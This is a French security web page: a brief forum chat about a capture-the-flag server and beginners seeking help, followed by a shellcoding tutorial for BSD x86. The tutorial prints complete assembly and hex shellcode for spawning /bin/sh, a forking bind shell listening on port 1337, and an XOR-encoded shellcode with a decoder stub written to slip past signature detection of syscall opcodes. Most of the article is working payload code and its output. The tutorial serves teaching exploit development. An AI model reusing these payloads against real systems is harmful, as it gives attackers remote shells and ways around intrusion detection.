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g0uZ    20 février 2012 22:21:48

g0uZ    17 février 2012 14:23:44
Thx pour l’info lupiotte. Il y avait effectivement un souci avec le FW local et avec hbinary5. Pour les perms ca pose pas de pb (EDIT : mais on a qd mm durci un peu). Merci encore pour ton retour.

lupiotte    17 février 2012 12:47:45
[4admins] hbinary5 ne tourne pas : /etc/xinetd.d/hbinary5 => mauvais user donc ne se lance pas ;) Autre point : on peut recuperer les fichiers de tous les challenges(droits laxiste, sshd NOT hardened) contact vers l’exterieur (network,nc,git,sftp,...)

rootmoi    16 février 2012 20:35:57
hello 69, je veux monter une team pour la ST’HAck de Bordeaux https://sthack.ingesup.com/ contactez moi sur giganum@hotmail.fr

bgxman    10 février 2012 22:21:35
t’as un skype ou un truc pour parler ? et pourquoi mon pseudo est devenus ilteurner à mes dernier message ?

RedCrach    9 février 2012 22:46:51
contact moi ^^ j’ai un peut le temps libre mais n’attend pas que je te donne un cours de A-Z tu doit qu’en meme chercher par toi meme comme tous les autre ^^

Ilteurner    9 février 2012 19:38:59
quelq’un pourrais m’apprendre les bases SVP ? je suis debutant^^.

Ilteurner    9 février 2012 19:36:43
Est-ce que quelqu’un pourrait m’empliquer 2 ou 3 petit truc svp, sur skype ou msn, serieux, je suis bloqué, je comprends pas certaine chose, merci

bgxman    9 février 2012 18:44:32
Est-ce que quelqu’un pourrait m’empliquer 2 ou 3 petit truc svp, sur skype ou msn, serieux, je suis bloqué, je comprends pas certaine chose, merci

bgxman    7 février 2012 21:26:35
je vais commencer à m’apprendre les bases de la programmation, mais je ne connais,strictemen rien aux hack,je regardais les truc genre capture the flag ect et je me demandais...comment on fait ? parcequ’en gros,je n’y connais strictement rien merci


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HG

dimanche 23 janvier 2011
par Tosh
BSD Shellcoding   Version imprimable de cet article envoyer l'article par mail Enregistrer au format PDF

Article traitant de la programmation de shellcodes sur les systèmes *BSD/x86.


Introduction

Dans cet article, j’expliquerais comment créer des shellcodes sur les systèmes *BSD, pour les architectures x86. Je détaillerai surtout le fonctionnement des syscall et comment les utiliser, car c’est à peu prêt la seule chose qui diffère comparé à un système Linux.

Les outils que j’utilise sont : nasm, ld, objdump et shelltest, un programme de ma conception, permettant l’automatisation de la création de shellcodes. Vous pouvez retrouver la source sur mon SVN : http://websvn.tuxfamily.org/filedet...

Les appels systèmes

Bien, donc comme je le disais, les appels systèmes sont légèrement différents sous BSD, car les paramètres sont envoyés sur la stack, et non dans les registres.

Les numéros des appels systèmes se trouvent dans /usr/src/sys/kern/syscalls.master. Le numéro est à mettre dans eax, et les paramètres sur la pile, dans l’ordre inverse de leurs déclaration.

Il faut aussi rajouter un padding de 4 octets, qui est destiné généralement à EIP.

Par exemple, voici comment afficher un caractère à l’écran :

     section .text
          global _start
     _start:
          xor eax, eax                                      ; mise à 0 du registre eax
          push 'AAAA'                                       ; On met le caractère à afficher sur la pile (4 'A' pour éviter les nul bytes)
          mov ebx, esp                                     ; adresse du caractère à afficher      
          mov al, 1                                        ; On empile la taille
          push eax
          push ebx                                          ; On empile le buffer
          push eax                                          ; On empile 1 (STDOUT)
          push eax                                          ; PADDING
          mov al, 4                                               ; syscall sys_write
          int 0x80                                             ; appel système
         
          mov al, 1                                         ; exit
          int 0x80

Testons :

[tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
Len : 23 bytes
Shellcode : \x31\xc0\x68\x41\x41\x41\x41\x89\xe3\xb0\x01\x50\x53\x50\x50\xb0\x04\xcd\x80\xb0\x01\xcd\x80
A[tosh@localhost /usr/home/tosh]$

Pas trop mal, non ?

Exécuter un shell

Afficher un caractère c’est bien, mais exécuter un shell serait mieux, non ?

D’après le fichier syscalls.master, le syscall execve est le 59. Il prend trois arguments, le nom du fichier à exécuter (/bin/sh), les arguments du programme et l’environnement. Le dernier sera mit à NULL.

Voici ce que ça donne :

     section .text
          global _start
     _start:
          xor eax, eax
          push eax                              ; nul byte
          push '//sh'
          push '/bin'                           ; On stock la chaine sur la pile
         
          mov ebx, esp                          ; Pointeur sur '/bin//sh'
          push eax                              ; argv[1] = NULL
          push ebx                              ; argv[0] = '/bin//sh'
          mov ecx, esp                          ; ecx = argv
          push eax                              ; Empile env (NULL)
          push ecx                              ; Empile argv
          push ebx                              ; Empile '/bin//sh'
          mov al, 59                            ; Appel system execve()
          push eax                              ; PADDING
          int 0x80

Bon bien sûr ici je m’embête à remplir argv, ce qui n’est à priori pas nécessaire.

Testons :

[tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
Len : 27 bytes
Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80
$

Parfait, nous avons notre shell !

Shellcodes & sockets

Bien, voyons un peu comment fonctionnent les appels systèmes liés aux sockets maintenant, en vue de faire par exemple un bindshell.

En regardant un peu dans syscalls.master, on remarque que presque toutes les primitives C tel que connect(), accept(), listen(), trouvent leurs équivalents dans les appels systèmes.

C’est je trouve plus simple que sur Linux, où il n’y a qu’un seul appel à socket, et dont le fonctionnement dépends du paramètre qu’on lui donne.

On retrouve ici une correspondance C -> assembleur, ce qui facilite la tâche.

Bien, pour un bindport, il faut donc effectuer les appels systèmes suivants : socket, bind, listen, accept, dup2, execve.

On peut aussi éventuellement faire un fork après le accept, pour accepter plusieurs connexions à la fois, et éviter que le shellcode se termine lorsque l’on quitte le shell.

Allons-y !

J’ai commenté au maximum le code, pour l’expliquer :

     section .text
          global _start
     _start:
          xor eax, eax
          push eax                              ; protocol
          inc eax
          push eax                              ; SOCK_STREAM
          inc eax
          push eax                              ; AF_INET
          push eax                              ; PADDING
          mov al, 97                            ; socket(AF_INET, SOCK_STREAM, 0)
          int 0x80
         
          mov esi, eax                          ; Sauvegarde du fd socket dans esi
         
          xor eax, eax                          ; Construction d'une sockaddr
          push eax
          push word 0x3905                      ; Port 1337
          push word 0x0201
          mov ecx, esp                          ; Pointeur sur sockaddr
         
          push byte 16                          ; sizeof(sockaddr)
          push ecx                              ; sockaddr*
          push esi                              ; sock
          push eax                              ; PADDING
          mov al, 104                           ; bind(sock, sockaddr*, sizeof(sockaddr))
          int 0x80
         
          xor eax, eax
          mov al, 5
          push eax
          push esi
          push eax
          mov al, 106                           ; listen(sock, 5)
          int 0x80
     .ACCEPT:  
          xor eax, eax
          push eax
          push eax
          push esi
          push eax
          mov al, 30                            ; accept(sock, 0, 0)
          int 0x80
         
          mov edi, eax
         
          xor eax, eax
          push eax
          mov al, 2                             ; fork()
          int 0x80
         
          or eax, eax                           ; le processus fils retourne sur le accept()
          jz .ACCEPT
         
         
          xor ecx, ecx                          ; dup2 STDERR, STDIN, STDOUT
     .L:
          push ecx
          push edi
          xor eax, eax
          mov al, 90                            ; dup2(sock, ecx)
          push eax
          int 0x80
          inc cl
          cmp cl, 3
          jne .L
         
          xor eax, eax
          push eax                              ; nul byte
          push '//sh'
          push '/bin'                           ; On stock la chaine sur la pile
         
          mov ebx, esp                          ; Pointeur sur '/bin//sh'
          push eax                              ; argv[1] = NULL
          push ebx                              ; argv[0] = '/bin//sh'
          mov ecx, esp                          ; ecx = argv
          push eax                              ; Empile env (NULL)
          push ecx                              ; Empile argv
          push ebx                              ; Empile '/bin//sh'
          mov al, 59                            ; Appel system execve()
          push eax                              ; PADDING
          int 0x80

Testons :

[tosh@localhost /usr/home/tosh]$ shelltest test
Len : 115 bytes
Shellcode : \x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x66\x68\x05\x39\x66
     \x68\x01\x02\x89\xe1\x6a\x10\x51\x56\x50\xb0\x68\xcd\x80\x31\xc0\xb0\x05\x50\x56\x50\xb0\x6a\xcd\x80
     \x31\xc0\x50\x50\x56\x50\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x50\xb0\x02\xcd\x80\x09\xc0\x74\xe9\x31\xc9
     \x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68
     \x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80

Nous pouvons maintenant nous connecter sur le port 1337 avec ncat, et quitter le shell ne termine pas le shellcode.

Bon, bien sûr, la taille peut être optimisée ici. De plus, ici ce n’est pas super propre, car si il y a de nombreuses connexions sur le shellcode, il finira par planter, étant donné que je ne nettoie pas la pile à chaque appel à execve. Mais bon, pour un shellcode ça ira bien comme ça...

Encoder un shellcode

Bien, je vais maintenant montrer comment encoder simplement un shellcode, en vue de passer certaines protections, comme par exemple la reconnaissance des opcodes "\xcd\x80" (appel système) ou "/bin//sh".

Le plus simple à implémenter, est un cryptage XOR, avec une clef d’un octet.

Le shellcode devra être décodé par une routine, avant d’être exécuté. Il aura donc cette forme :

[ Decoder ] [ Shellcode ]

Pour le décoder, le plus dur va être de déterminer l’adresse exacte du shellcode, car il n’y a aucun moyen de le déterminer à l’avance. Pour ce faire, nous utiliserons les instructions jmp shellcode, call decoder, pop. Il faudra aussi qu’il sache où le shellcode se termine, j’utiliserai un octet 0x90 que je mettrai à la fin du shellcode pour savoir quand s’arrêter.

Bien, commençons par prendre un shellcode, et le crypter avec une clef quelconque (Il ne faut pas qu’il y ai de 0x90 ni de 0x00 dans les opcodes). On va reprendre le shellcode exécutant un shell, il ira très bien.

Voici le programme que j’ai utilisé pour le crypter avec la clef 0xcc :

     #include <stdio.h>
     int main(void)
     {
          char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80";
          int i;
         
          for(i = 0; i < sizeof(shellcode)-1; i++)
          {
               printf(",0x%.2x", (unsigned char)shellcode[i] ^ 0xcc);
          }
          printf("n");
          return 0;
     }

Ce qui nous donne : ,0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c

Codons maintenant le decoder :

     section .text
          global _start
     _start:
          jmp short CALL                              ; On saute sur le CALL
     RET:
          pop esi                                         ; On met dans esi l'adresse du shellcode
     LOOP:
          cmp byte[esi], 0x90                         ; Est-on arrivé à la fin ?
          je SHELLCODE                                ; Si oui, le shellcode est decrypté, on peut jmp dessus
          xor byte[esi], 0xcc                         ; Sinon, on décrypte l'octet courant avec la clef 0xcc
          inc esi
          jmp LOOP
         
     CALL:
          call RET                                       ; call empile la prochaine instruction, ici notre shellcode
     SHELLCODE:                                          ; Notre shellcode crypté
     db 0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c
     db 0x90                                             ; Octet de terminaison du shellcode

Essayons le :

[tosh@localhost /usr/home/tosh]$ shelltest test
Len : 50 bytes
Shellcode : \xeb\x0f\x5e\x80\x3e\x90\x74\x0e\x80\x36\xcc\x46\xe9\xf2\xff\xff\xff\xe8\xec\xff\xff\xff\xfd\x0c\x9c\xa4\xe3\xe3\xbf\xa4\xa4\xe3\xae\xa5\xa2\x45\x2f\x9c\x9f\x45\x2d\x9c\x9d\x9f\x7c\xf7\x9c\x01\x4c\x90
$

Parfait, nous avons encore notre shell !

Bien sûr, pour que celà fonctionne, il faut que la zone où est injecté le shellcode soit +rwx, ce qui devient rare de nos jours...

Voilà, je vais m’arrêter là, peut être que j’étofferai cet article avec le temps, le monde du shellcoding est tellement vaste et intéressant, qu’il y a encore de nombreuses choses à dire.

Good programming !




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